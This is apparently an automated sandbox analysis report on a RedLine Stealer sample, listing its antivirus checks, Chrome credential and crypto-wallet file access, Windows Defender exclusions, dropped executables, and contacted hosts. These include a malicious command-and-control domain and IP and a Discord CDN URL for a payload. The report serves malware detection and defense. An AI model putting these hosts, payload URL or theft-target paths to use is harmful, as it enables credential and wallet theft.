Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D5D280 GetLocalTime, 0_2_00D5D280
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D80558 GetVersionExA,GetVersionExA, 0_2_00D80558

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
AV process strings found (often used to terminate AV products)
Source: YfTokH7RIj.exe, 00000000.00000003.701024550.0000000000C15000.00000004.00000001.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

barindex
Yara detected RedLine Stealer
Source: Yara match File source: 0.2.YfTokH7RIj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: %appdata%\Electrum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: l1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: l-cjelfplplebdjjenllpjcblmjkfcffne|JaxxxLiberty
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: %appdata%\Ethereum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: %appdata%\Ethereum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp String found in binary or memory: l5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: YfTokH7RIj.exe PID: 6764, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected RedLine Stealer
Source: Yara match File source: 0.2.YfTokH7RIj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 545999 Sample: YfTokH7RIj Startdate: 28/12/2021 Architecture: WINDOWS Score: 100 79 Multi AV Scanner detection for domain / URL 2->79 81 Found malware configuration 2->81 83 Multi AV Scanner detection for submitted file 2->83 85 7 other signatures 2->85 10 YfTokH7RIj.exe 15 7 2->10         started        15 services32.exe 2->15         started        process3 dnsIp4 71 yabynennet.xyz 185.82.202.246, 49781, 81 HSAE Netherlands 10->71 73 cdn.discordapp.com 162.159.129.233, 443, 49783 CLOUDFLARENETUS United States 10->73 75 api.ip.sb 10->75 67 C:\Users\user\AppData\Local\Temp\fl.exe, PE32+ 10->67 dropped 69 C:\Users\user\AppData\...\YfTokH7RIj.exe.log, ASCII 10->69 dropped 111 Detected unpacking (changes PE section rights) 10->111 113 Detected unpacking (overwrites its own PE header) 10->113 115 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 10->115 125 6 other signatures 10->125 17 fl.exe 4 10->17         started        77 192.168.2.1 unknown unknown 15->77 117 Antivirus detection for dropped file 15->117 119 Multi AV Scanner detection for dropped file 15->119 121 Machine Learning detection for dropped file 15->121 123 Adds a directory exclusion to Windows Defender 15->123 21 cmd.exe 15->21         started        file5 signatures6 process7 file8 63 C:\Windows\System32\services32.exe, PE32+ 17->63 dropped 87 Antivirus detection for dropped file 17->87 89 Multi AV Scanner detection for dropped file 17->89 91 Machine Learning detection for dropped file 17->91 23 cmd.exe 17->23         started        26 cmd.exe 1 17->26         started        28 cmd.exe 1 17->28         started        93 Adds a directory exclusion to Windows Defender 21->93 30 conhost.exe 21->30         started        32 powershell.exe 21->32         started        34 powershell.exe 21->34         started        signatures9 process10 signatures11 105 Drops executables to the windows directory (C:\Windows) and starts them 23->105 36 services32.exe 23->36         started        40 conhost.exe 23->40         started        107 Uses schtasks.exe or at.exe to add and modify task schedules 26->107 109 Adds a directory exclusion to Windows Defender 26->109 42 powershell.exe 23 26->42         started        44 conhost.exe 26->44         started        46 powershell.exe 26->46         started        48 conhost.exe 28->48         started        50 schtasks.exe 1 28->50         started        process12 file13 65 C:\Windows\System32\...\sihost32.exe, PE32+ 36->65 dropped 101 Drops executables to the windows directory (C:\Windows) and starts them 36->101 103 Adds a directory exclusion to Windows Defender 36->103 52 sihost32.exe 36->52         started        55 cmd.exe 36->55         started        signatures14 process15 signatures16 95 Antivirus detection for dropped file 52->95 97 Multi AV Scanner detection for dropped file 52->97 99 Adds a directory exclusion to Windows Defender 55->99 57 conhost.exe 55->57         started        59 powershell.exe 55->59         started        61 powershell.exe 55->61         started        process17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.82.202.246
 yabynennet.xyz Netherlands
60117 HSAE true
162.159.129.233
 cdn.discordapp.com United States
13335 CLOUDFLARENETUS false

Private
IP
192.168.2.1

Contacted Domains

Name IP Active
yabynennet.xyz 185.82.202.246 true
cdn.discordapp.com 162.159.129.233 true
api.ip.sb unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://cdn.discordapp.com/attachments/917178535238586432/922560115226312704/StopScam.vmp.exe false
    		high